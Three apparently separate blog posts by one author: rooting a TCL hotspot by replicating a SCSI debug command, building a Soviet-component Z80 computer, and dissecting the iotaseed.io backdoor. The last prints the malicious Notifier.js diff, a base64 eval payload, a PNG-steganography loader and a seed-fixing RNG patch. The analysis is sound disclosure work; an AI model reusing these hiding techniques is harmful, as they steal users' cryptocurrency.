Some research led me to find that it did, in fact, run Linux. Not only that, but there was a tool that would just give me root access to the hotspot, by the name of TCL-SWITCH-TOOL! ¹ Apparently, this tool relied on the fact that the hotspot showed up as an external disk when you connect it to a computer. It did something that switched the hotspot into a debug mode, giving you a root shell.

The tool is Windows-only, but it’ll probably just work under Wine, right? I downloaded the tool, ran it, hit the “switch to debug mode” button, and….

“50”. Hmm. Closing that message gave another error:

And, in the terminal I used to run the program, I saw a warning message: 0009:fixme:ntdll:server_ioctl_file Unsupported ioctl 4d014 (device=4 access=3 func=405 method=0). This seems to suggest that the program relies on some feature that Wine doesn’t support fully.

At this point, I could probably find an actual Windows computer and just use that. But that’s no fun! Can we figure out how this program works, and replicate it ourselves?

What does it even do?

I decided to open the program in Ghidra, a reverse engineering tool. Searching for the error message from before, “switch device error”, I found that there were multiple references to the string, and they all seemed to be part of relatively complex functions. It would definitely be possible to analyze what the program is doing this way, but is there an easier method?

Well, given that the program asks for the drive letter corresponding to the hotspot, it seems reasonable to assume that it’s somehow sending some special command to the drive over that existing connection (as opposed to, say, some weird custom USB protocol). This seems to be confirmed by the presence of the string \\.\PHYSICALDRIVE%c, which presumably is some way to directly access the drive?

Let’s assume that the program somehow opens the drive and then does some magic incantation to switch the hotspot into a debug mode. No matter how complicated TCL-SWITCH-TOOL is, at the end of the day, both of those operations will eventually need to go through the Windows API, which is external to this program.

We can monitor those API calls by using Wine’s debug options to enable the relay debug channel. This logs every time TCL-SWITCH-TOOL makes a function call to an external library (what Windows calls a DLL). The hope is that we’ll see the function calls to whatever Windows DLL is responsible for opening the drive and sending those commands. That should then give us a better idea of what the program is actually doing. ²

So, I ran WINEDEBUG=relay wine TCL-SWITCH-TOOL.exe &> tcllog.log, typed in the drive letter, and hit the button to switch the hotspot into debug mode. This resulted in a rather large log file. ³ I searched for the PHYSICALDRIVE string from before, and…nothing. Since that didn’t work, I decided to look for the drive letter I used (F), figuring that the tool probably had to somehow communicate the selected drive letter to Windows.

That actually seemed to work! In this log, each line corresponds to either a function call (labeled as Call) or a function returning (labeled as Ret). At the top, you can see that TCL-SWITCH-TOOL calls CreateFileA, part of KERNEL32, on \\.\\F:. ⁴ Then, Wine’s implementation of KERNEL32 makes some function calls of its own and finally decides to return a value. (that’s the 009:Ret KERNEL32.CreateFileA() line at the bottom) After that, TCL-SWITCH-TOOL decides to make another call, this time to KERNEL32’s DeviceIoControl function, which seems like what we’re looking for. And, this function call has one parameter equal to 4d014, which matches the error message we got from Wine all the way at the beginning! ⁵

So, what is DeviceIoControl? Looking at the official Microsoft documentation, it seems to be a fairly generic function that does something based on the dwIoControlCode parameter. ⁶ In our case, dwIoControlCode is 0x4d014, corresponding to IOCTL_SCSI_PASS_THROUGH_DIRECT, which, according to that page, “allows an application to send almost any SCSI command to a target device.”

Finding the command

By this point, it seems likely that this is the magic debug mode incantation. But what’s the actual SCSI command? Going back to Ghidra, we can pull up DeviceIoControl, and see where it’s called from. ⁷

The thing that says XREF, on the right, tells us that this function has one reference in the entire program. (that is, it’s only used once) Double-clicking on that gives us the code that makes the DeviceIoControl call:

At this point, we could go through the assembly in Ghidra and determine how the various arguments to DeviceIoControl are constructed. However, there’s an easier way. We know now that the function call is at address 0x4031d4. So, we can use Wine’s debugger to set a breakpoint at that address, run the program, and then, once it hits our breakpoint, print out the various arguments. ⁸

So, I ran winedbg --gdb TCL-SWITCH-TOOL.exe, used the b *0x4031d4 command to set the breakpoint, and tried the program again.

It hit the breakpoint! Now, how do we know what the arguments are?

On Windows x86 systems, the cdecl calling convention is used. ⁹ That means our arguments should have been pushed to the stack. Using GDB, we can take a look at the stack’s current contents: ¹⁰

We can match these values to the arguments of DeviceIoControl (which, again, you can find on this page). The IOCTL_SCSI_PASS_THROUGH_DIRECT page tells us that it takes the command to send from the input buffer, which should correspond to DeviceIoControl’s third argument, lpInBuffer. In our case, the third argument is 0x32ed90. The fourth argument, nInBufferSize, tells us how large that input buffer is, which in our case is 0x50 bytes. So, let’s look at 0x50 bytes from 0x32ed90:

So is this the magic command? Well, the IOCTL page from before tells us that this should actually be a SCSI_PASS_THROUGH_DIRECT struct.

typedef struct _SCSI_PASS_THROUGH_DIRECT {
  USHORT Length;
  UCHAR  ScsiStatus;
  UCHAR  PathId;
  UCHAR  TargetId;
  UCHAR  Lun;
  UCHAR  CdbLength;
  UCHAR  SenseInfoLength;
  UCHAR  DataIn;
  ULONG  DataTransferLength;
  ULONG  TimeOutValue;
  PVOID  DataBuffer;
  ULONG  SenseInfoOffset;
  UCHAR  Cdb[16];
} SCSI_PASS_THROUGH_DIRECT, *PSCSI_PASS_THROUGH_DIRECT;

We can match the fields of the struct with the data we dumped out from GDB. ¹¹

Note that we have to include three bytes of padding (labeled PADDING) because Microsoft’s C compiler has to align DataTransferLength to be on a four-byte boundary.

Replicating the command

Now that we’ve deciphered the struct, what is this struct telling Windows to do? Most of the fields aren’t relevant, but what’s important here is Cdb, which, according to the documentation, “specifies the SCSI command descriptor block to be sent to the target device.” In other words, this should be the command that switches the hotspot into debug mode! Then, after sending that command, since the DataIn flag is 0x01 (equivalent to SCSI_IOCTL_DATA_IN), Windows will read 0xc0, or 192, bytes (the value of DataTransferLength) from the device. ¹²

Some research pointed me to the sg_raw command, which is how you can send arbitrary SCSI commands on Linux. ¹³ Using the value from Cdb, the command to use should be sudo sg_raw /dev/sgX 16 f9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 -v, where X is the number corresponding to the hotspot’s disk. ¹⁴ I tried it, and:

It worked! After all this, we finally have the magic command. At this point, you have full root access to the hotspot, and can do basically anything you want.

If you were paying close attention, you might have noticed that the first two bytes (0x16 0xf9) of the command match what the debug mode button says in the first place! (as can be seen at the screenshots at the beginning of the article) Despite that, this effort was still useful to figure out how the bytes are actually sent. It also means that you can probably figure out how to switch it into “diag mode” instead of debug mode, since that button also has its command printed on it. ¹⁵

Also, this only works because the debug protocol was fairly simple. Once we found the magic command, we could just repeat it ourselves. If the debug protocol were more complicated (for example, if the command varied based on some parameter, such as the current time), then we would need to perform a more in-depth analysis of the program.

One final note: you use adb—as in, the Android Debug Bridge—to access the shell. The hotspot doesn’t run Android, but it seems to still use adbd, along with a few other components from Android. Investigating everything that’s running on the hotspot, though, is probably a subject for a future blog post.

For my 11th grade history class, our final assignment was an open-ended research project, where both the topic and the medium of presentation was up to us. Having recently watched a YouTube video about Tetris, a game invented in the Soviet Union, I instantly knew I wanted to look into computer technology in the Soviet Union during the Cold War.

However, as I begun my research, I realized that the components used at the time were still available from sites like eBay. So, I decided, instead of writing a paper, to buy some of these components and try to build a replica computer, staying as period-accurate as I reasonably could.

This post is going to talk about the more technical and electrical side of things; if you want to learn more about the historical aspects of the project, you can read the written component that I submitted with the project.

Getting the components

The first decision I had to make was what I was going to use for the CPU of the computer. Eventually, I settled on the U880, an East German clone of the Zilog Z80, which I chose primarily due to ease of interfacing with the chip and my own familiarity with its architecture.

Once I had chosen the CPU, the peripheral chips were pretty logical choices. The Western parts that would normally be used with a Zilog Z80 all had Soviet equivalents. In the end, I chose to use a KR580VV51A (equivalent to an Intel 8251A) chip to give the computer a serial port, and a KR580VV55A (equivalent to an Intel 8255A) to handle the button inputs.

I then needed to have some sort of decoding logic. This is what coordinates the different peripheral devices on the data bus, so that they aren’t all trying to talk to the CPU at the same time. For this, I used an East German-manufactured V4028 chip (equivalent to the West’s CD4028) combined with a Soviet K155LN1 (a NOT gate, equivalent to the West’s SN7404).

For the display output, I had to cheat a little bit. Rather than connecting the system to an old analog CRT display, which would have been too bulky to transport and made the circuitry more complex, I chose to instead use a modern LCD display, connected to the rest of a system by a modern-day level shifting chip.

In addition, I originally wanted to include a CompactFlash socket, so that the computer would have some way of saving data (this would have been an imitation of the analog cassette records used at the time); unfortunately, I didn’t get the footprint for the socket correct, so I ended up abandoning that idea.

I also used three buffer chips (two for the address lines and one for data) because I was worried that I had too many chips on the same lines. These buffer chips are modern-day Texas Instruments parts, but it’s likely that they could be removed without any issues—they were only put in out of excessive caution.

Designing the computer

Once I had decided on the components I wanted to use, I drew a schematic in KiCad. (you can see the final schematic here) Given the similarities between the Western and Eastern parts, there were many cases where I could just use KiCad’s built-in symbols. For example, even though the U880 is an East German part, it shares the same pinout as a Western Z80 chip, so I just used the pre-made Z80 symbol.

Something I quickly realized would be an issue with the Soviet components was that, despite appearing to be a normal DIP package, they actually have a slightly different pin spacing! Where most Western chips have a 0.1” (2.54 mm) pin pitch, these Soviet parts had a 2.5 mm pitch. While this difference of 0.04 mm might not seem like much, on some of the large 40-pin parts, this inaccuracy could add up. For parts that were socketed, like the CPU, I was able to just force the pins into a generic 0.1” socket. (this worked even for the large U880 CPU; however, if you look very closely, you can tell that the pins at the bottom of the part don’t line up very well with the socket—fortunately, they still make contact) However, for certain chips, I decided to instead forgo the socket, designing a special footprint with both 2.5 mm and 2.54 mm pin spacing. That way, I could easily fit the Soviet part, and still be able to swap a Soviet part with a Western equivalent if it were necessary.

Assembling the PCBs

As I was bringing up the computer, I kept running into issues where the CPU wouldn’t read from the ROM correctly, executing what seemed like completely random instructions. Eventually, after lots of debugging, I realized that the issue was with the Soviet EPROMs I had bought—for some reason, though they appeared to work fine in the TL866 I used to program them, they would return what seemed like random data when run in the computer. Eventually, I had to replace them with modern parts.

In retrospect, after looking more closely at the datasheet for the part, I realize now that the programming voltage is actually specified to be 24.5 volts, while my programmer maxed out at 21.5 volts. My guess for what happened is that somehow, the lower programming voltage meant that the EPROM still could work in the programmer, but when pushed to a faster speed in the actual computer, it stopped working. However, I can’t really find much information on the Internet about what happens when you undervolt an EPROM’s programming voltage, so it’s also possible I just received bad parts.

The final product

Finally, I had to program the computer. I had previously written an assembler for the Nintendo Gameboy, which uses a processor that’s very similar to the Z80. So, I adapted this code into z80asm, a rather minimalistic Z80 assembler targeted specifically at this computer. I also wrote an emulator for the system, complete with a (very bare-bones) debugger, which was incredibly helpful. The firmware is entirely written in Z80 assembly language, and is open-source if you want to look at it.

Ultimately, I found this project to be incredibly interesting and rewarding. I learned a lot, both in a historical and a technical aspect, and have created something that I’m proud of. All of the design and software behind the computer have been published under various GitHub repositories, as linked above.

Recently, Ars Technica posted an article describing how a malicious seed generator, iotaseed.io (now offline), was able to steal almost $4 million (!) worth of IOTA from its users’ wallets. The way they describe this is that the website “stored data about each seed generated along with information about the wallet it was associated with, allowing whoever was running the site (or whoever hijacked it) to simply wait until wallets were filled and then cash them out.” This made me curious, so I decided to look into the technical details of how the scam was pulled off.

Finding the code

The original website, iotaseed.io, has been replaced with a message stating “Taken down. Apologies.” Fortunately, the Wayback Machine has saved a copy of the site, which can be seen here.

The website links to a GitHub repository, where it claims you can see the code, but warns you that you should use the website instead of downloading the code from GitHub, giving the excuse that “the repository may contain new code that hasn’t been fully tested yet.”

Given this information, I made a guess that, to keep its existence a secret from any code reviews, the code that was allowing the owner of the website to steal users’ seeds was not part of the GitHub repository and was only added in on the iotaseed.io website. This would explain why users were told to use the website rather than the GitHub repository, and meant that if one compared the JavaScript on the website’s to the JavaScript on the GitHub repository, this backdoor code should become obvious.

Unfortunately, the GitHub repository iotaseed.io links to, norbertvdberg/iotaseed, has since been deleted (as has the entire account of the respository’s owner, norbertvdberg) Even though the Wayback Machine archived the homepage of the GitHub repository, trying to view any of the code (or download a ZIP file of the code) results in a “Wayback Machine doesn’t have that page archived.” error. Up in the top-right of the page, though, it mentions that the code has been forked by 8 different people, and according to this GitHub support article, when a public repository is deleted, its forks are still preserved, meaning that there are probably still copies of this repository floating around on GitHub somewhere!

A quick search for one of the commit messages visible on the Wayback Machine archive results in the following:

eggdroid/eggseed3 seems to have been a fork of the original iotaseed.io code, with all 26 commits being made by “norbertvdberg”, the same user from the earlier GitHub repo.

Now that we have both the website and the GitHub JavaScript files, it’s time to compare the two and see if there are any differences.

Analyzing the code

The seed generator is made up of multiple different JavaScript files, all of which are combined into one all.js file, which is then minified into all.mini.js. It is this all.mini.js file that’s actually used on the page. So, I compared a copy of the Wayback Machine’s all.mini.js and the GitHub repository’s all.mini.js.

$ shasum all-website.mini.js all-github.mini.js 
3d48933698d8cf1d1673067d782595c12c815424  all-website.mini.js
3d48933698d8cf1d1673067d782595c12c815424  all-github.mini.js

Unfortunately for me, the two files appear to be the same. Digging into the code, I then noticed that once the wallet was generated, a Web Worker is started to generate the QR code and paper wallet information, and this worker’s code comes from a separate file, all-wallet.mini.js. Maybe something was hidden in that file?

Comparing the website’s and the GitHub’s all-wallet.mini.js files initially showed that they were different, so I ran both files through js-beautify and then diff-ed them to see what the exact differences were.

$ diff all-wallet-website.js all-wallet-github.js
1313c1313
<             t = t || {}, this.version = e("../package.json").version, this.host = t.host ? t.host : "http://web.archive.org/web/20180120222030/http://localhost/", this.port = t.port ? t.port : 14265, this.provider = t.provider || this.host.replace(/\/$/, "") + ":" + this.port, this.sandbox = t.sandbox || !1, this.token = t.token || !1, this.sandbox && (this.sandbox = this.provider.replace(/\/$/, ""), this.provider = this.sandbox + "/commands"), this._makeRequest = new o(this.provider, this.token), this.api = new a(this._makeRequest, this.sandbox), this.utils = i, this.valid = e("./utils/inputValidator"), this.multisig = new s(this._makeRequest)
---
>             t = t || {}, this.version = e("../package.json").version, this.host = t.host ? t.host : "http://localhost", this.port = t.port ? t.port : 14265, this.provider = t.provider || this.host.replace(/\/$/, "") + ":" + this.port, this.sandbox = t.sandbox || !1, this.token = t.token || !1, this.sandbox && (this.sandbox = this.provider.replace(/\/$/, ""), this.provider = this.sandbox + "/commands"), this._makeRequest = new o(this.provider, this.token), this.api = new a(this._makeRequest, this.sandbox), this.utils = i, this.valid = e("./utils/inputValidator"), this.multisig = new s(this._makeRequest)
1713c1713
<             this.provider = e || "http://web.archive.org/web/20180120222030/http://localhost:14265/", this.token = t
---
>             this.provider = e || "http://localhost:14265", this.token = t
1718c1718
<             this.provider = e || "http://web.archive.org/web/20180120222030/http://localhost:14265/"
---
>             this.provider = e || "http://localhost:14265"
6435c6435
<                 website: "http://web.archive.org/web/20180120222030/https://iota.org/"
---
>                 website: "https://iota.org"
6440c6440
<                 url: "http://web.archive.org/web/20180120222030/https://github.com/iotaledger/iota.lib.js/issues"
---
>                 url: "https://github.com/iotaledger/iota.lib.js/issues"
6444c6444
<                 url: "http://web.archive.org/web/20180120222030/https://github.com/iotaledger/iota.lib.js.git"
---
>                 url: "https://github.com/iotaledger/iota.lib.js.git"

However, the only difference between the two files is that the Wayback Machine rewrote some of the URLs to point to web.archive.org. Functionally, the seed generation code seemed to be the same between the actual website and the GitHub repository.

I then took another, closer look at the index.html page, and noticed that there was one more JavaScript file loaded, a notification library that I had initially overlooked. I downloaded the Wayback Machine’s version and diff-ed it to the GitHub repository’s version, resulting in this very suspicious code becoming apparent:

$ diff notifier-website.js notifier-github.js 
68,71d67
<             if (!window.inited_n) {
<                 window.inited_n = true;
<                 Notifier.init()
<             }
82,87d77
<             if (/,T/.test(image)) {
<                 if (/ps:.*o/.test(document.location)) {
<                     eval(atob(image.split(",")[2]))
<                 }
<                 return
<             }
119,121d108
<         init: function(message, title) {
<             this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4+MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7,TbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03///9RTlAAAADy8vIgICA2NzY4OzYPM0fa29qgoI7/zMnj4+PW19VGRkbqPi7v7/D6+vr09fXyTj4rKSvhSTo/Pj/oSDnlMyLsNCI0MTP0///tTT7ZRjizOi+6PDDmLRyenZ7oKRfExMT/TzvobGEVFBWGhYUAGjLW8/ToXVADLUZ8e33/2tfRRTdWVFTFQDT1u7aSkZIADib+5eFwcHHW+/z70tDwkIesPTPW6+teXV2xsbG7u7vY4+Lre3DMzM2qp6jilIxsPT7lg3kdO07m/f4AJjuwsJzftK/fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f+8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF/o64s+PNlAAAANnRSTlMAC1IoljoZWm2yloPRGWiJfdjEEk037Esq7Pn24EKjpiX+z7rJNNWB5pGxZ1m2mZY/gXOlr43C+dBMAAAmkklEQVR42uzay86bMBAF4MnCV1kCeQFIRn6M8xZe+v1fpVECdtPSy5822Bi+JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4+4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4/BDMEQ6RM+oNQ6vjJyWFTNTDJlau0e1drAO+Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN+T+Uogmu2QR5ucsaXuV6w1hath9HiDWGwWrLmOoUL7/CWYLRo6/2d9zPeN6hONNEvXKiIf2fkwauDCxXwcPI0mA/4v+whvwdzafABTh/tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM/ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp+ioWy2JAbWYqQ6E+mv5SwyNzJWh/HHX6Rty17TYNBFF44CokEA+ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833/N0bI85X/CarUEte9b68nlf4rg+lKoEGAvPMvzk6+Ak5OwZ71u/S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==")
<         },

It appears that someone has very carefully made modifications to the Notifier.js library in order to hide some code. The Notifier.notify method has been changed to check if the image parameter contains ",T", and so, decodes part of the parameter into JavaScript and evaluates it. Another modification adds a Notifier.init() method called when the page loads, which calls notify method with an image parameter set to trigger this code.

Running atob(image.split(",")[2]) on the data URL used in the code above results in the following snippet of code (with indentation and spacing added for clarity):

function cDis(f) {
    var o = document.createElement("canvas").getContext("2d");
    var i = new Image;
    i.onload = function() {
        o.drawImage(i, 0, 0);
        dS(o.getImageData(0, 0, 298, 100).data)
    };
    i.src = f
}

function dS(d) {
    var l = 21,
        bM = "",
        tM = "";
    for (var i = 0; i < l; i++) {
        var b = (d[i * 4 + 2] >>> 0).toString(2);
        bM += b[b.length - 1];
        if (bM.length == 16) {
            l = parseInt(bM, 2) + 16;
            bM = ""
        } else if (bM.length == 8 && l != 21) {
            tM += String.fromCharCode(parseInt(bM, 2));
            bM = ""
        }
    }
    eval(tM)
}
cDis("./images/logo_small_bottom.png");

This second stage of the malicious code draws ./images/logo_small_bottom.png into an off-screen <canvas> element, reads out some text from that image’s data, and then evaluates that text as JavaScript.

Looking at the GitHub repository, logo_small_bottom.png was added on August 28, 2017, and then updated 3 hours later on the same day. When run through this image decoder, both of these versions don’t generate valid code.

However, the image that was used on the actual website, as saved by the Wayback Machine, is different, and produces the following code (again with indentation and spacing added):

if (/ps:.*\.io/.test(document.location)) {
    mode = "M";
    (function(message) {
        var name = "edr";
        name += "an";
        message["cont"] = 0;
        name += "dom";

        function show(arg, options, image) {
            message["e2" + name]("4782588875512803642" + String(message["cont"]), options, image);
            message["cont"] += 1
        }
        message["e2" + name] = message["se" + name];
        message["se" + name] = show
    })(eval(mode + "ath"))
}

This is the final stage of the JavaScript backdoor, and can be simplified into the following:

Math.cont = 0;

function show(arg, options, image) {
	Math.e2edrandom("4782588875512803642" + String(Math.cont), options, image);
	Math.cont += 1;
}
Math.e2edrandom = Math.seedrandom;
Math.seedrandom = show;

This code patches the Math.seedrandom function, which is used by the generation code, to always use a fixed seed "4782588875512803642" plus a counter variable that increases by one every time seedrandom is run. This has the effect of causing Math.random() to always return the same, predictable series of numbers, causing the generated IOTA wallet seeds to always be the same. This becomes somewhat obvious when you open the archive of iotaseed.io multiple times and notice that the generated seed is always the same, XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD, even across computers.

One thing that’s important to note is that the number used to seed the RNG ("4782588875512803642" in the example before) was varied for each user. As the Wayback Machine saved a copy of the image at a certain point in time, the seed appears the same every time you open the archive on that specific date, with the above code coming from the latest available version on January 3rd. However, if you view the archive at a different date, such as October 31st or November 19th, this number (and so the generated seed) changes. This must mean that the ./images/logo_small_bottom.png file was generated on-the-fly by the iotaseed.io server. When creating this PNG file, the number used in the patched random function was modified (and presumably stored somewhere, so that the attacker could later come back to steal the IOTA), resulting in a website which did in fact generate different seeds for different users. (however, this server-side “randomness” doesn’t seem to have been very good, as at least one person had been given a wallet that had already been used.) A demo showing how the code was varied is available here.

Using the official IOTA JavaScript library, the address that should correspond to the seed mentioned before (XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD) is PUEBLAHRQGOTIAMJHCCXXGQPXDQJS9BDFSCDSMINAYJNSILCCISDVY99GMKAEIAICYQUXMIYTNQCJYVDX, and according to this website, that’s an empty wallet. However, other sites designed to show information about the transaction history of an address just give a 404 error (see here for an example), indicating that either I made an error decoding this address or I’m misunderstanding something about how the IOTA network works.

Conclusion

This was a very cleverly hidden backdoor, and was clearly done with malicious intent, rather than some sort of mistake in how the cryptography was implemented. It’s unclear if this code was added by the owner of the GitHub repository and website, norbertvdberg, or if his hosting account was hacked, but judging from how the owner reacted, deleting their GitHub, their Reddit, and their Quora accounts, it seems like the site was set up for this purpose.

Many steps were taken to hide the backdoor’s existence, and a quick glance at the developer tools in your web browser would not have shown anything suspicious. For example, the data: url used in the first stage started with iVBORw0KGgo, which is the beginning of a valid PNG header in base 64, meaning that the URL might be overlooked as an embedded image, which wouldn’t be very suspicious in a notification library. Part of the JavaScript is loaded from an image, and apart from that one image, no other network requests are made. Unfortunately, this was enough to trick many people into thinking there’s nothing wrong.

Taking a close look at the network requests in the Developer Tools, it’s possible to see the request that the JavaScript makes for the image.

In general, this incident should be taken as a reminder that, when it comes to cryptocurrencies (especially when dealing with large amounts of money!), paranoia can be a good thing. You should never rely on online services, like seed generators or web wallets, for holding any amount of currency you care about, and you should make sure that you use software that is open source and has been carefully reviewed and audited by the community. In this example, iotaseed.io did advertise that it was “open source” with all the code available for you to review, which probably was enough to convince some people, but no one realized how they modified the code on their actual website. A careful audit would have caught this, making this an example of how taking “open source” at face value, especially in cryptocurrencies, can lead to disastrous results.